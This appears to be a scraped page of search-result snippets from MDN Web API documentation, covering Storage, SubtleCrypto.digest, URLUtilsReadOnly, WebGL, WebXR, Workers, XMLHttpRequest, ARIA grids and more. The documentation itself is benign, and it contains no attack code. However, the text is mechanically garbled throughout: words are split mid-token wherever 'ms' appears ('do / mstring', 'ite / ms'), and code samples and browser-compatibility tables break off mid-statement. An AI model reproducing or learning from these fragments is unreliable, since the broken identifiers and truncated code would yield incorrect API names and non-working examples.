mstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.addfromuri('http://www.example.com/grammar.txt'); // adds a second grammar to the list.
SpeechGrammarList - Web APIs
speechgrammarlist.addfro
mstring() takes a grammar present in a specific do
mstring within the code base (e.g.
... examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, add our grammar string to it using the speechgrammarlist.addfro
mstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property.
... var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist()' in that specificatio...
Storage.getItem() - Web APIs
syntax var avalue = storage.getitem(keyname); parameters keyname a do
mstring containing the name of the key you want to retrieve the value of.
... return value a do
mstring containing the value of the key.
... example the following function retrieves three data ite
ms from local storage, then uses them to set custom styles on a page.
Storage.length - Web APIs
the length read-only property of the storage interface returns the number of data ite
ms stored in a given storage object.
... syntax length = storage.length; return value the number of ite
ms stored in the storage object.
... example the following function adds three data ite
ms to the local storage for the current domain, then returns the number of ite
ms in the storage: function populatestorage() { localstorage.setitem('bgcolor', 'yellow'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'cats.png'); return localstorage.length; // should return 3 } note: for a real world example, see our web storage demo.
Storage.setItem() - Web APIs
syntax storage.setitem(keyname, keyvalue); parameters keyname a do
mstring containing the name of the key you want to create/update.
... keyvalue a do
mstring containing the value you want to give the key you are creating/updating.
... example the following function creates three data ite
ms inside local storage.
StorageEvent - Web APIs
p"><rect x="116" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initstorageevent( in do
mstring type, in boolean canbubble, in boolean cancelable, in do
mstring key, in do
mstring oldvalue, in do
mstring newvalue, in usvstring url, in storage storagearea ); attributes attribute type description key do
mstring represents the key changed.
... newvalue do
mstring the new value of the key.
... oldvalue do
mstring the original value of the key.
StyleSheet - Web APIs
stylesheet.href read only returns a do
mstring representing the location of the stylesheet.
... stylesheet.title read only returns a do
mstring representing the advisory title of the current style sheet.
... stylesheet.typeread only returns a do
mstring representing the style sheet language for this style sheet.
SubtleCrypto.digest() - Web APIs
syntax const digest = crypto.subtle.digest(algorithm, data); parameters algorithm is a do
mstring defining the hash function to use.
... supported algorith
ms digest algorith
ms, also known as cryptographic hash functions, transform an arbitrarily large block of data into a fixed-size output, usually much shorter than the input.
...the inhabitants refer to it as the planet earth.'; async function digestmessage(message) { const
msguint8 = new textencoder().encode(message); // encode as (utf-8) uint8array const hashbuffer = await crypto.subtle.digest('sha-256',
msguint8); // hash the message const hasharray = array.from(new uint8array(hashbuffer)); // convert buffer to byte array const hashhex = hasharray.map(b => b.tostring(16).padstart(2, '0')).join(''); // con...
TaskAttributionTiming.containerId - Web APIs
syntax var containerid = taskattributiontiming.containerid; value a do
mstring containing the containers id attribute.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcontainerid experimentalchrome full support 58edge full support ≤79firefox no support noie ?
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
TaskAttributionTiming.containerType - Web APIs
syntax var containertype = taskattributiontiming.containertype; value a do
mstring containing the container's type, one of iframe, embed, or object.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcontainertype experimentalchrome full support 58edge full support ≤79firefox no support noie ?
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
TextEncoder.prototype.encodeInto() - Web APIs
thus, a more optimistic approach might be to allocate s.length * 2 + 5 bytes, and perform reallocation in the rare circu
mstance that the optimistic prediction was wrong.
...baltextencoderinstance = new globaltextencoder; globaltextencoderprototype["encodeinto"] = function(string, u8arr) { // unfortunately, there's no way i can think of to quickly extract the number of bits written and the number of bytes read and such var strlen = string.length|0, u8len = u8arr.length|0; if (strlen < ((u8len >> 1) + 3|0)) { // in most circu
mstances, this means its safe.
... there are still edge-cases which are possible // in many circu
mstances, we can use the faster native textencoder var res8 = globaltextencoderinstance["encode"](string); var res8len = res8.length|0; if (res8len < u8len) { // if we dont have to worry about read/written u8arr.set( res8 ); return { "read": strlen, "written": res8.length|0 }; } } return polyfill_encodeinto(string, u8arr); }; } })(typeof global == "" + void 0 ?
Using Touch Events - Web APIs
changedtouches - a list of the touch points whose ite
ms depends on the associated event type: for the touchstart event, it is a list of the touch points that became active with the current event.
...the new features include the x and y radius of the ellipse that most closely circu
mscribes a touch point's contact area with the touch surface.
... the introduction of new input mechanis
ms results in increased application complexity to handle various input events, such as key events, mouse events, pen/stylus events, and touch events.
TransitionEvent() - Web APIs
type is a do
mstring representing the name of the type of the transitionevent.
... propertyname optional is a do
mstring containing the value of the property-name css property associated with the transition.
... pseudoelement optional is a do
mstring, starting with "::", containing the name of the pseudo-element the animation runs on.
UIEvent.initUIEvent() - Web APIs
syntax event.inituievent(type, canbubble, cancelable, view, detail) parameters type is a do
mstring defining the type of event.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetinituievent deprecatednon-standardchrome full support yesedge full support 12firefox full support yesie ?
... sa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknownnon-standard.
UIEvent.layerX - Web APIs
examples <html> <head> <title>pagex\pagey & layerx\layery example</title> <script type="text/javascript"> function showcoords(evt){ var form = document.for
ms.form_coords; var parent_id = evt.target.parentnode.id; form.parentid.value = parent_id; form.pagexcoords.value = evt.pagex; form.pageycoords.value = evt.pagey; form.layerxcoords.value = evt.layerx; form.layerycoords.value = evt.layery; } </script> <style type="text/css"> #d1 { border: solid blue 1px; padding: 20px; } #d2 { position: absolute; top: 180px; left: 80%; r...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetlayerx non-standardchrome full support yesedge full support 12firefox full support yesie full support 9opera full support yessafari full support ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full supportnon-standard.
URLUtilsReadOnly.hash - Web APIs
the urlutilsreadonly.hash read-only property returns a do
mstring containing a '#' followed by the fragment identifier of the url.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internethash experimentalchrome no support noedge no support nofirefox full support 38 full support 38 no support 3.5 — 38notes notes before firefox 38, firefox returned the hash percent e...
...this has been fixed to match the spec.opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
URLUtilsReadOnly.host - Web APIs
the urlutilsreadonly.host read-only property returns a do
mstring containing the host, that is the hostname, a ':', and the port of the url.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internethost experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support ...
... nowebview android no support nochrome android no support nofirefox android full support 4opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
URLUtilsReadOnly.hostname - Web APIs
the urlutilsreadonly.hostname read-only property returns a do
mstring containing the domain of the url.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internethostname experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support ...
... nowebview android no support nochrome android no support nofirefox android full support 4opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
URLUtilsReadOnly.href - Web APIs
the urlutilsreadonly.href read-only property is a stringifier that returns a do
mstring containing the whole url.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internethref experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support ...
... nowebview android no support nochrome android no support nofirefox android full support 4opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
URLUtilsReadOnly.origin - Web APIs
the urlutilsreadonly.origin read-only property is a do
mstring containing the unicode serialization of the origin of the represented url, that is, for http and https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetorigin experimentalchrome no support noedge no support nofirefox full support 29ie no support noopera no support nosafari no support ...
... nowebview android no support nochrome android no support nofirefox android full support 29opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
URLUtilsReadOnly.pathname - Web APIs
the urlutilsreadonly.pathname read-only property returns a do
mstring containing an initial '/' followed by the path of the url.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpathname experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support ...
... nowebview android no support nochrome android no support nofirefox android full support 4opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
URLUtilsReadOnly.port - Web APIs
the urlutilsreadonly.port read-only property returns a do
mstring containing the port number of the url.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetport experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support ...
... nowebview android no support nochrome android no support nofirefox android full support 4opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
URLUtilsReadOnly.protocol - Web APIs
the urlutilsreadonly.protocol read-only property returns a do
mstring containing the protocol scheme of the url, including the final ':'.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetprotocol experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support ...
... nowebview android no support nochrome android no support nofirefox android full support 4opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
URLUtilsReadOnly.search - Web APIs
the urlutilsreadonly.search read-only property returns a do
mstring containing a '?' followed by the parameters of the url.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsearch experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support ...
... nowebview android no support nochrome android no support nofirefox android full support 4opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
URLUtilsReadOnly.toString() - Web APIs
the urlutilsreadonly.tostring() stringifier method returns a do
mstring containing the whole url.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettostring experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support ...
... nowebview android no support nochrome android no support nofirefox android full support 4opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
VRStageParameters - Web APIs
properties vrstageparameters.sittingtostandingtransform read only contains a matrix that transfor
ms the sitting-space view matrices of vrframedata to standing-space.
... examples var info = document.queryselector('p'); var vrdisplay; navigator.getvrdisplays().then(function(displays) { vrdisplay = displays[0]; var stagepara
ms = vrdisplay.stageparameters; // stagepara
ms is a vrstageparameters object if(stagepara
ms === null) { info.textcontent = 'your vr hardware does not support room-scale experiences.' } else { info.innerhtml = '<strong>display stage parameters</strong>' + '<br>sitting to standing transform: ' + stagepara
ms.sittingtostandingtransform + '<br>play area width (m): ' + stagepara
ms.sizex + '<br>pl...
...ay area depth (m): ' + stagepara
ms.sizey } }); specifications specification status comment webvr 1.1the definition of 'vrstageparameters' in that specification.
Vibration API - Web APIs
a single vibration you may pulse the vibration hardware one time by specifying either a single value or an array consisting of only one value: window.navigator.vibrate(200); window.navigator.vibrate([200]); both of these examples vibrate the device for 200
ms.
...for example: window.navigator.vibrate([200, 100, 200]); this vibrates the device for 200
ms, then pauses for 100
ms before vibrating the device again for another 200
ms.
...t vibration at given duration and interval // assumes a number value is given function startpersistentvibrate(duration, interval) { vibrateinterval = setinterval(function() { startvibrate(duration); }, interval); } of course, the snippet above doesn't take into account the array method of vibration; persistent array-based vibration will require calculating the sum of the array ite
ms and creating an interval based on that number (with an additional delay, probably).
WebGL2RenderingContext.getUniformIndices() - Web APIs
the webgl2renderingcontext.getuniformindices() method of the webgl 2 api retrieves the indices of a number of unifor
ms within a webglprogram.
... syntax sequence<gluint> gl.getuniformindices(program, uniformnames); parameters program a webglprogram containing unifor
ms whose indices to query.
... uniformnames an array of do
mstring specifying the names of the unifor
ms to query.
WebGLRenderingContext.getParameter() - Web APIs
fragment_uniform_vectors glint gl.max_renderbuffer_size glint gl.max_texture_image_units glint gl.max_texture_size glint gl.max_varying_vectors glint gl.max_vertex_attribs glint gl.max_vertex_texture_image_units glint gl.max_vertex_uniform_vectors glint gl.max_viewport_di
ms int32array (with 2 elements) gl.pack_alignment glint gl.polygon_offset_factor glfloat gl.polygon_offset_fill glboolean gl.polygon_offset_units glfloat gl.red_bits glint gl.renderbuffer_binding webglrenderbuffer or null see bindrenderbuffer.
... gl.renderer do
mstring gl.sample_buffers glint gl.sample_coverage_invert glboolean gl.sample_coverage_value glfloat gl.samples glint gl.scissor_box int32array (with 4 elements) gl.scissor_test glboolean gl.shading_language_version do
mstring gl.stencil_back_fail glenum gl.stencil_back_func glenum gl.stencil_back_pass_depth_fail glenum gl.stencil_back_pass_depth_pass glenum gl.stencil_back_ref glint gl.stencil_back_value_mask gluint gl.stencil_back_writemask gluint gl.stencil_bits glint gl.stencil_clear_value glint gl...
... gl.subpixel_bits glint gl.texture_binding_2d webgltexture or null gl.texture_binding_cube_map webgltexture or null gl.unpack_alignment glint gl.unpack_colorspace_conversion_webgl glenum gl.unpack_flip_y_webgl glboolean gl.unpack_premultiply_alpha_webgl glboolean gl.vendor do
mstring gl.version do
mstring gl.viewport int32array (with 4 elements) webgl 2 you can query the following pname parameters when using a webgl2renderingcontext.
WebGLRenderingContext.getShaderSource() - Web APIs
the webglrenderingcontext.getshadersource() method of the webgl api returns the source code of a webglshader as a do
mstring.
... syntax do
mstring gl.getshadersource(shader); parameters shader a webglshader object to get the source code from.
... return value a do
mstring containing the source code of the shader.
WebGLRenderingContext - Web APIs
progra
ms and shaders webglrenderingcontext.attachshader() attaches a webglshader to a webglprogram.
... unifor
ms and attributes webglrenderingcontext.disablevertexattribarray() disables a vertex attribute array at a given position.
... working with extensions these methods manage webgl extensions: webglrenderingcontext.getsupportedextensions() returns an array of do
mstring elements with all the supported webgl extensions.
Data in WebGL - Web APIs
shader progra
ms have access to three kinds of data storage, each of which has a specific use case.
... glsl data types <<document the basic types, vectors, etc; see data type (glsl) on the khronos webgl wiki>> glsl variables there are three kinds of "variable" or data storage available in glsl, each of which with its own purpose and use cases: attributes, varyings, and unifor
ms.
... <<how to use>> unifor
ms unifor
ms are set by the javascript code and are available to both the vertex and fragment shaders.
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
the more time lag there is between one user saying something and another hearing it, the more likely there is to be episodes of cross-talking and other for
ms of confusion.
... capabilities of rtp rtp's primary benefits in ter
ms of webrtc include: generally low latency.
... leveraging rtp to implement a "hold" feature because the strea
ms for an rtcpeerconnection are implemented using rtp and the interfaces above, you can take advantage of the access this gives you to the internals of strea
ms to make adjustments.
Writing a WebSocket server in C# - Web APIs
this server confor
ms to rfc 6455 so it will only handle connections from chrome version 16, firefox 11, ie 10 and over.
...ase64 + "\r\n\r\n"); stream.write(response, 0, response.length); } else { bool fin = (bytes[0] & 0b10000000) != 0, mask = (bytes[1] & 0b10000000) != 0; // must be true, "all messages from the client to the server have this bit set" int opcode = bytes[0] & 0b00001111, // expecting 1 - text message
msglen = bytes[1] - 128, // & 0111 1111 offset = 2; if (
msglen == 126) { // was touint16(bytes, offset) but the result is incorrect
msglen = bitconverter.touint16(new byte[] { bytes[3], bytes[2] }, 0); offset = 4; } else if (
msglen == 127) { console.writeline("todo:
ms...
...glen == 127, needs qword to store
msglen"); // i don't really know the byte order, please edit this //
msglen = bitconverter.touint64(new byte[] { bytes[5], bytes[4], bytes[3], bytes[2], bytes[9], bytes[8], bytes[7], bytes[6] }, 0); // offset = 10; } if (
msglen == 0) console.writeline("
msglen == 0"); else if (mask) { byte[] decoded = new byte[
msglen]; byte[] masks = new byte[4] { bytes[offset], bytes[offset + 1], bytes[offset + 2], bytes[offset + 3] }; offset += 4; for (int i = 0; i <
msglen; ++i) decoded[i] = (byte)(bytes[offset + i] ^ masks[i % 4]); ...
Fundamentals of WebXR - Web APIs
some platfor
ms may provide previously-cleared frames to you, while others may optimize performance by not erasing the framebuffers in order to avoid having to touch each pixel twice per frame.
... there are a number of theories surrounding exactly what about virtual reality causes some people to feel uncomfortable or sick, most of which focusing on the idea that even subtle differences between what the brain thinks should be happening and what is being seen can cause these sympto
ms.
... a-frame (specifically designed for creating webxr-based apps) babylon.js three.js game toolkits the game toolkits are designed for game developers and often include gaming-specific features such as physics models, input control syste
ms, asset management, 3d sound playback, and the like.
Movement, orientation, and motion: A WebXR example - Web APIs
suffice it to say that the vertex shader computes the position of each vertex given the initial positions of each vertex and the transfor
ms that need to be applied to convert them to simulate the viewer's current position and orientation.
... next, we compile the shader progra
ms; get references to its variables; initialize the buffers that store the array of each position; the indexes into the position table for each vertex; the vertex normals; and the texture coordinates for each vertex.
...then we pass the object's reference space into the applyviewercontrols() function, which returns a revised xrreferencespace that transfor
ms the position and orientation of the object to take into account the movement, pitch, and yaw applied by the user using the keyboard and mouse.
Starting up and shutting down a WebXR session - Web APIs
webxr api emulator extension the mozilla webxr team has created a webxr api emulator browser extension, compatible with both firefox and chrome, which emulates the webxr api, simulating a variety of compatible devices such as the htc vive, the oculus go and oculus quest, sa
msung gear, and google cardboard.
...be aware, however, that the emulator does not yet completely emulate all of the webxr api, so you may run into proble
ms you're not expecting.
... in basic form, code to do this final setup might look something like this: async function runsession(session) { let worlddata; session.addeventlistener("end", onsessionend); let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); // set up webgl data and such worlddata = loadglprogra
ms(session, "worlddata.xml"); if (!worlddata) { return null; } // finish configuring webgl worlddata.session.updaterenderstate({ baselayer: new xrwebgllayer(worlddata.session, gl) }); // start rendering the scene referencespace = await worlddata.session.requestreferencespace("unbounded"); worlddata.referencespace = referencespace.getoffsetreferencespace( new xrrig...
Advanced techniques: Creating and sequencing audio - Web APIs
if you're familiar with these ter
ms and you're looking for an introduction to their application within with the web audio api, you've come to the right place.
... the oscillatornode comes with basic wavefor
ms out of the box — sine, square, triangle or sawtooth.
...all mode
ms have noise.
Background audio processing using AudioWorklet - Web APIs
create module that defines a audio worklet processor class, based on audioworkletprocessor which takes audio from one or more incoming sources, perfor
ms its operation on the data, and outputs the resulting audio data.
...by specification, each block of audio your process() function receives contains 128 frames (that is, 128 samples for each channel), but it is planned that this value will change in the future, and may in fact vary depending on circu
mstances, so you should always check the array's length rather than assuming a particular size.
... returning false from the process() method tells the api that it should follow its normal logic and shut down your processor node if it dee
ms it appropriate to do so.
Web Storage API - Web APIs
the web storage api provides mechanis
ms by which browsers can store key/value pairs, in a much more intuitive fashion than using cookies.
... web storage concepts and usage the two mechanis
ms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores) stores data only for a session, meaning that the data is stored until the browser (or tab) is closed.
... these mechanis
ms are available via the window.sessionstorage and window.localstorage properties (to be more precise, in supporting browsers the window object implements the windowlocalstorage and windowsessionstorage objects, which the localstorage and sessionstorage properties hang off) — invoking one of these will create an instance of the storage object, through which data ite
ms can be set, retrieved and rem...
Obsolete features - Web APIs
fullscreen this feature no longer works in
msie 6 sp2 the way it worked in
msie 5.x.
... the windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in
msie 5.x.
... fullscreen does not really work in
msie 6 sp2.
Privileged features - Web APIs
on windows platfor
ms, a dependent window does not show on the task bar.
... the dependent feature is currently under revision to be removed (bug 214867) in
msie 6, the nearest equivalent to this feature is the showmodelessdialog() method.
...on mac syste
ms, dialog windows have a different window border and they may get turned into a sheet.
window.postMessage() - Web APIs
this is a completely foolproof way to avoid security proble
ms.
...shared memory is gated behind two http headers: cross-origin-opener-policy with same-origin as value (protects your origin from attackers) cross-origin-embedder-policy with require-corp as value (protects victi
ms from your origin) cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp to check if cross origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } see also planned changes to shared memory which is s...
...this value will eventually be consistently idn, but for now you should handle both idn and punycode for
ms.
Window.requestAnimationFrame() - Web APIs
this will request that your animation function be called before the browser perfor
ms the next repaint.
...this timestamp is a decimal number, in milliseconds, but with a minimal precision of 1
ms (1000 µs).
...the element moves at a speed of 0.1px/
ms to the right, so its relative position (in css pixels) can be calculated in function of the time elapsed since the start of the animation (in milliseconds) with 0.1 * elapsed.
Window.scroll() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetscrollchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3safari full support ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1sa
msung internet android full support 1.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full support ...
... nowebview android full support 45chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosa
msung internet android full support 5.0legend full support full support no support no support ...
Window.scrollBy() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetscrollbychrome full support 1edge full support 79 full support 79 no support 12 — 79notes notes only scrollby(x-coord, y-coord) is supported.firefox full support 1ie ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1sa
msung internet android full support 1.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full supp...
... nowebview android full support 45chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosa
msung internet android full support 5.0legend full support full support partial support partial support no support no supportsee implementation notes.
Window.showModalDialog() - Web APIs
specification
msdn page for showmodaldialog browser compatibility the compatibility table in this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetshowmodaldialog deprecatednon-standardchrome no support ?
...possible future removal from safari.webview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportnon-standard.
Window.updateCommands() - Web APIs
notes this enables or disables ite
ms (setting or clearing the "disabled" attribute on the command node as appropriate), or ensures that the command state reflects the state of the selection by setting current state information in the "state" attribute of the xul command nodes.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetupdatecommands non-standardchrome no support noedge no support nofirefox full support yesie ?
... sa
msung internet android no support nolegend full support full support no support no support compatibility unknown compatibility unknownnon-standard.
Worker() - Web APIs
available properties are as follows: type: a do
mstring specifying the type of worker to create.
... credentials: a do
mstring specifying the type of credentials to use for the worker.
... name: a do
mstring specifying an identifying name for the dedicatedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes.
Worker.prototype.postMessage() - Web APIs
main thread code: var myworker = new chromeworker(self.path + 'myworker.js'); function handlemessagefromworker(
msg) { console.log('incoming message from worker,
msg:',
msg); switch (
msg.data.atopic) { case 'do_sendmainarrbuff': sendmainarrbuff(
msg.data.abuf) break; default: throw 'no atopic on incoming message to chromeworker'; } } myworker.addeventlistener('message', handlemessagefromworker); // ok lets create the buffer and send it var arrbu...
...h pre transfer:', arrbuf.bytelength); myworker.postmessage( { atopic: 'do_sendworkerarrbuff', abuf: arrbuf // the array buffer that we passed to the transferrable section 3 lines below }, [ arrbuf // the array buffer we created 9 lines above ] ); console.info('arrbuf.bytelength post transfer:', arrbuf.bytelength); worker code self.onmessage = function (
msg) { switch (
msg.data.atopic) { case 'do_sendworkerarrbuff': sendworkerarrbuff(
msg.data.abuf) break; default: throw 'no atopic on incoming message to chromeworker'; } } function sendworkerarrbuff(abuf) { console.info('from worker, pre send back abuf.bytelength:', abuf.bytelength); self.postmessage({atopic:'do_sendmainarr...
...buff', abuf:abuf}, [abuf]); console.info('from worker, post send back abuf.bytelength:', abuf.bytelength); } output logged arrbuf.bytelength pre transfer: 8 bootstrap.js:40 arrbuf.bytelength post transfer: 0 bootstrap.js:42 from worker, pre send back abuf.bytelength: 8 myworker.js:5:2 incoming message from worker,
msg: message { ...
WritableStream.WritableStream() - Web APIs
the reason parameter contains a do
mstring describing why the stream was aborted.
...finally, write() and close() return promises that are processed to deal with success or failure of chunks and strea
ms.
... specifications specification status comment strea
msthe definition of 'writablestream()' in that specification.
WritableStreamDefaultWriter.ready - Web APIs
defaultwriter.ready .then(function() { defaultwriter.close() .then(function() { console.log("all chunks written"); }) .catch(function(err) { console.log("stream error: " + err); }); }); }); } specifications specification status comment strea
msthe definition of 'ready' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetready experimentalchrome full support 59edge full support 16firefox no support noie no support noopera full support 46safari ?
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
WritableStreamDefaultWriter - Web APIs
the writablestreamdefaultwriter interface of the the strea
ms api is the object returned by writablestream.getwriter() and once created locks the writer to the writablestream ensuring that no other strea
ms can write to the underlying sink.
...finally, write() and close() return promises that are processed to deal with success or failure of chunks and strea
ms.
... specifications specification status comment strea
msthe definition of 'writablestreamdefaultwriter' in that specification.
XMLHttpRequest.response - Web APIs
the xmlhttprequest response property returns the response's body content as an arraybuffer, blob, document, javascript object, or do
mstring, depending on the value of the request's responsetype property.
... text the response is a text in a do
mstring object.
...
ms-stream the response is part of a streaming download; this response type is only allowed for download requests, and is only supported by internet explorer.
XMLHttpRequest - Web APIs
xmlhttprequest.response read only returns an arraybuffer, blob, document, javascript object, or a do
mstring, depending on the value of xmlhttprequest.responsetype, that contains the response entity body.
... xmlhttprequest.responsetext read only returns a do
mstring that contains the response to the request as text, or null if the request was unsuccessful or has not yet been sent.
... xmlhttprequest.statustext read only returns a do
mstring containing the response string returned by the http server.
XMLHttpRequestResponseType - Web APIs
text the response is a text in a do
mstring object.
...
ms-stream the response is part of a streaming download; this response type is only allowed for download requests, and is only supported by internet explorer.
...you shouldn't use this non-standard (and, as of firefox 68, entirely removed) api; instead, consider using the fetch api with readable strea
ms, which offers a standard alternative to accessing the response in a streaming fashion.
XRView - Web APIs
} special view transfor
ms there are a few special transfor
ms that are used on the view while rendering and lighting a scene.
... transversedistance, y: verticaldistance, z: axialdistance}, {x: inverseorientation[0], y: inverseorientation[1], z: inverseorientation[2], w: inverseorientation[3]}); mat4.copy(mousematrix, newtransform.matrix); // create a new reference space that transfor
ms the object to the new // position and orientation, returning the new reference space.
...the returned object's matrix property is the actual matrix that transfor
ms points from the scene's reference space to the object's new position.
XSL Transformations in Mozilla FAQ - Web APIs
msxml has an additional property.
... <xsl:if xmlns:
msxsl="urn:schemas-microsoft-com:xslt" test="system-property('
msxsl:version')=3"> <!--
msxml3 specific markup --> </xsl:if> what about media="print"?
... ie up to version 6 required a deprecated namespace of a xslt working draft, please update to mozilla ;-), ie6+ or
msxml3+, as it is fixed there.
ARIA: grid role - Accessibility
aria-multiselectable if aria-multiselectable is set to true, multiple ite
ms in the grid can be selected.
... scope="row" role="rowheader">week 40</th> <td role="gridcell" tabindex="-1"> 30 </td> <td>1</td> <td>2</td> <td>3</td> <td>4</td> <td>5</td> <td>6</td> </tr> </tbody> </table> css body { margin: 2rem; font-family: "helvetica neue", sans-serif; } table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nu
ms; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { background-color: #f6f6f6; outline: 3px solid blue; } } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectabl...
... role="gridcell" tabindex="-1"> 5 </td> <td role="gridcell" tabindex="-1"> 6 </td> <td role="gridcell" tabindex="-1"> 7 </td> <td role="gridcell" tabindex="-1"> 8 </td> </tr> <!-- … additional rows … --> </tbody> </table> css table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nu
